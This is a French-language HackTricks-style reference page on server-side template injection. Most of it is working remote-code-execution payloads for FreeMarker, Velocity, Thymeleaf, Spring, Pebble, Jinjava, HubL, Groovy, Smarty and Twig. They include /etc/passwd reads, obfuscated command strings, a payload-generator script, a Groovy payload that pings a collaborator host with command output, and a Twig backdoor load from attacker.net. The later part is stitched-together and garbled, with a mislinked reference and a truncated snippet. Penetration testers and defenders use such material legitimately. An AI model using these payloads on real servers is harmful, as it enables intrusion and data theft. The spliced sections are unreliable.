# SSTI (Injection de modèle côté serveur)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} ## Qu'est-ce que l'injection de modèle côté serveur ? Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur. Les **moteurs de modèle** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'**entrée utilisateur** est concaténée directement **dans un modèle**, plutôt que transmise en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**. Un exemple de code vulnérable est le suivant : ```php $output = $twig->render("Dear " . $_GET['name']); ``` Dans l'exemple précédent, **une partie du modèle** est elle-même **générée dynamiquement** en utilisant le paramètre `name` de la méthode `GET`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant de placer une charge utile d'injection de modèle côté serveur dans le paramètre `name` comme suit : ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` ## Construction d'une attaque d'injection de modèle côté serveur ![](../../.gitbook/assets/ssti-methodology-diagram.png) ### Détecter Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être la méthode la plus simple consiste à essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\ Afin de vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et la **charge utile donnée**.\ Si une **erreur est renvoyée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est en cours d'exécution**. Mais vous pourriez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il **reflète** la charge utile donnée et qu'il ne le fait **pas** ou s'il y a des **caractères manquants** dans la réponse. **Détecter - Contexte en texte brut** L'entrée donnée est **rendue et reflétée** dans la réponse. Cela peut facilement être **confondu avec une vulnérabilité** [**XSS**](../xss-cross-site-scripting/) simple, mais il est facile de différencier si vous essayez de définir des **opérations mathématiques** dans une expression de modèle : ``` {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} *{7*7} ``` **Détecter - Contexte du code** Dans ces cas, l'**entrée utilisateur** est placée **à l'intérieur** d'une **expression de modèle** : ```python engine.render("Hello {{"+greeting+"}}", data) ``` L'accès à l'URL de cette page pourrait être similaire à : `http://vulnerable-website.com/?greeting=data.username` Si vous **modifiez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, alors **la réponse contiendra le nom d'utilisateur** (si les caractères de fermeture de l'expression de modèle étaient **`}}`**).\ Si une **erreur** est générée pendant ces tests, il sera plus facile de trouver que le serveur est vulnérable. ### Identifier Une fois que vous avez détecté le potentiel d'injection de modèle, la prochaine étape consiste à identifier le moteur de modèle.\ Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML. Si vous avez de la chance, le serveur **imprimera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Certains payloads possibles qui peuvent causer des erreurs sont : | `${}` | `{{}}` | `<%= %>` | | ----------- | ------------ | --------------- | | `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` | | `${foobar}` | `{{foobar}}` | `<%= foobar %>` | | `${7*7}` | `{{7*7}}` | \`\` | Sinon, vous devrez **tester manuellement différents payloads spécifiques à la langue** et étudier comment ils sont interprétés par le moteur de modèle. Une façon courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire à celui-ci : ![](<../../.gitbook/assets/image (272).png>) ### Exploiter **Lire** La première étape après avoir trouvé l'injection de modèle et identifié le moteur de modèle consiste à lire la documentation. Les domaines clés d'intérêt sont : * Les sections 'Pour les auteurs de modèles' couvrant la syntaxe de base. * Les 'Considérations de sécurité' - il est probable que quiconque a développé l'application que vous testez n'a pas lu cela, et cela peut contenir des indices utiles. * Les listes de méthodes, fonctions, filtres et variables intégrées. * Les listes d'extensions/plugins - certaines peuvent être activées par défaut. **Explorer** En supposant qu'aucune exploitation ne se soit présentée, la prochaine étape consiste à **explorer l'environnement** pour savoir exactement à quoi **vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de modèle, et des **objets spécifiques à l'application** transmis au modèle par le développeur. De nombreux systèmes de modèles exposent un objet 'self' ou un espace de noms contenant tout ce qui est en portée, et une façon idiomatique de lister les attributs et méthodes d'un objet. S'il n'y a pas d'objet self intégré, vous devrez forcer les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de passe de Burp Intruder. Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles, et peuvent varier entre différents modèles au sein d'une application, de sorte que ce processus devrait idéalement être appliqué à chaque modèle distinct individuellement. **Attaquer** À ce stade, vous devriez avoir une **idée ferme de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour trouver des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et l'escalade de privilèges. ## Outils ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ## Exploits ### Générique Dans cette **liste de mots**, vous pouvez trouver les **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous : * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) ### Java **Injection de base Java** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` **Java - Récupérer les variables d'environnement du système** Il est possible de récupérer les variables d'environnement du système en utilisant la classe `System` de Java. La méthode `getenv()` de cette classe permet de récupérer un objet `Map` contenant toutes les variables d'environnement du système. ```java Map env = System.getenv(); for (String envName : env.keySet()) { System.out.format("%s=%s%n", envName, env.get(envName)); } ``` Cette méthode peut être utilisée pour récupérer des informations sensibles telles que des clés d'API ou des informations d'identification stockées dans les variables d'environnement. Il est donc important de s'assurer que ces informations ne sont pas exposées ou accessibles à des tiers non autorisés. ```java ${T(java.lang.System).getenv()} ``` **Java - Récupérer /etc/passwd** Pour récupérer le contenu du fichier `/etc/passwd` sur un serveur distant, vous pouvez utiliser une injection de modèle côté serveur (SSTI) en Java. Tout d'abord, vous devez trouver un point d'injection SSTI dans l'application Web. Ensuite, vous pouvez utiliser la syntaxe de modèle Java pour exécuter du code arbitraire et récupérer le contenu du fichier `/etc/passwd`. Voici un exemple de code Java qui peut être utilisé pour récupérer le contenu du fichier `/etc/passwd` : ``` ${new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())).lines().collect(java.util.stream.Collectors.joining(System.lineSeparator()))} ``` Vous pouvez insérer ce code dans un point d'injection SSTI dans l'application Web pour récupérer le contenu du fichier `/etc/passwd`. Notez que cette technique peut ne pas fonctionner sur toutes les applications Web, car certaines peuvent désactiver l'exécution de code Java arbitraire. ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legacy)` * `${7*'7'} Rien` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Contournement de bac à sable** ⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Plus d'informations** * Dans la section FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` **Plus d'informations** * Dans la section Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf (Java) L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également dans Thymeleaf. Si vous voulez réaliser une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes : * SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}` * OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}` Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs Thymeleaf spéciaux. S'il est nécessaire d'utiliser une expression à un autre endroit dans le modèle, Thymeleaf prend en charge l'_insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez placer une expression entre `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper les symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`. Cependant, les chances que la charge utile de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, n'autorise pas de modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur veut créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre résolveur de modèle. C'est possible mais cela arrive très rarement. Si nous examinons de plus près la documentation du moteur de modèle Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement d'expression**_. Les expressions placées entre deux tirets bas (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf : ```java #{selection.__${sel.code}__} ``` **Exemple vulnérable** ```markup http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Plus d'informations** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Framework Spring (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Contourner les filtres** Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas, essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`. * Lire `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * Script personnalisé pour la génération de payload ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Plus d'informations** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Manipulation de la vue Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Ancienne version de Pebble (< version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nouvelle version de Pebble : ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) Jinjava est un moteur de template Java qui permet l'injection de code côté serveur (SSTI). Il est utilisé par plusieurs frameworks Java tels que Jekyll et Pelican. #### Comment l'exploiter Pour exploiter une SSTI avec Jinjava, vous pouvez utiliser la syntaxe suivante : ``` {{ 7*'7' }} ``` Cela va évaluer l'expression `7*'7'` et afficher le résultat `49`. Vous pouvez également accéder aux variables et aux fonctions de l'objet `context` en utilisant la syntaxe suivante : ``` {{ context['class'].forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('whoami') }} ``` Cela va exécuter la commande `whoami` sur le serveur et afficher le résultat. #### Comment se protéger Pour se protéger contre les SSTI avec Jinjava, vous pouvez désactiver l'évaluation des expressions en utilisant la configuration suivante : ```java JinjavaConfig config = new JinjavaConfig(); config.setEnableRecursiveMacroCalls(false); config.setEnableShortcuts(false); config.setFailOnUnknownTokens(true); config.setExecutionTimeout(5000L); config.setNestedInterpretationEnabled(false); config.setParseLiteralsOnly(false); config.setUsePyishObjectMapper(false); config.setValidationMode(ValidationMode.STRICT); Jinjava jinjava = new Jinjava(config); ``` Cela désactive l'évaluation des expressions et empêche les attaquants d'injecter du code malveillant. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava est un projet open source développé par Hubspot, disponible sur [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Exécution de commandes** Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Plus d'informations** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * Délimiteurs d'instructions `{% %}` * Délimiteurs d'expressions `{{ }}` * Délimiteurs de commentaires `{# #}` * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Plus d'informations** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Langage d'expression - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI).\ Consultez la page suivante pour en savoir plus sur l'**exploitation des interpréteurs EL** : {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) Cette méthode de contournement du gestionnaire de sécurité a été prise à partir de ce [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Plus d'informations** * Dans la section Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Erreur` * `{{foobar}} Rien` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} ``` **Twig - Format de template** Twig is a template engine for PHP that is used by many popular PHP frameworks, such as Symfony, Laravel, and Drupal. It is also used by some SaaS platforms, such as Shopify and CraftCMS. Twig uses a syntax similar to Django templates and Jinja2 templates. It is a powerful and flexible template engine that allows developers to create complex templates with ease. Some of the features of Twig include: - Template inheritance - Macros - Filters - Functions - Automatic HTML escaping - Caching One of the most important things to keep in mind when using Twig is to properly sanitize any user input that is used in a template. Failure to do so can lead to server-side template injection vulnerabilities, which can allow an attacker to execute arbitrary code on the server. Overall, Twig is a great choice for developers who want a powerful and flexible template engine that is easy to use and integrates well with popular PHP frameworks. ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Plus d'informations** * Dans la section Twig et Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates est inspiré de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé. contrôleur: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` # Injection de modèle côté serveur (SSTI) L'injection de modèle côté serveur (SSTI) est une vulnérabilité qui permet à un attaquant d'injecter du code dans un modèle côté serveur. Cette vulnérabilité peut être exploitée pour exécuter du code à distance, accéder à des données sensibles ou prendre le contrôle du serveur. ## Comment ça fonctionne Les modèles sont utilisés pour générer des pages Web dynamiques. Les modèles peuvent contenir des variables qui sont remplacées par des valeurs spécifiques lorsqu'une page est générée. Les SSTI se produisent lorsque les variables du modèle sont mal gérées et qu'un attaquant peut injecter du code dans le modèle. ## Exploitation Les SSTI peuvent être exploités de différentes manières, en fonction de la technologie utilisée pour générer les modèles. Les attaquants peuvent utiliser des balises spéciales pour injecter du code dans les modèles. Par exemple, dans les modèles Jinja2, les attaquants peuvent utiliser la balise `{{ }}` pour injecter du code. Voici un exemple de code malveillant qui peut être injecté dans un modèle Jinja2: ``` {{config.items()[0]}} ``` Ce code malveillant peut être utilisé pour accéder à des données sensibles, telles que les informations d'identification de la base de données. ## Prévention Pour prévenir les SSTI, il est important de valider toutes les entrées utilisateur qui sont utilisées pour générer des modèles. Les développeurs doivent s'assurer que les variables du modèle sont correctement échappées pour empêcher l'injection de code. ## Références - [OWASP Server-Side Template Injection](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)) - [Jinja2 Documentation](https://jinja.palletsprojects.com/en/2.11.x/templates/) ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

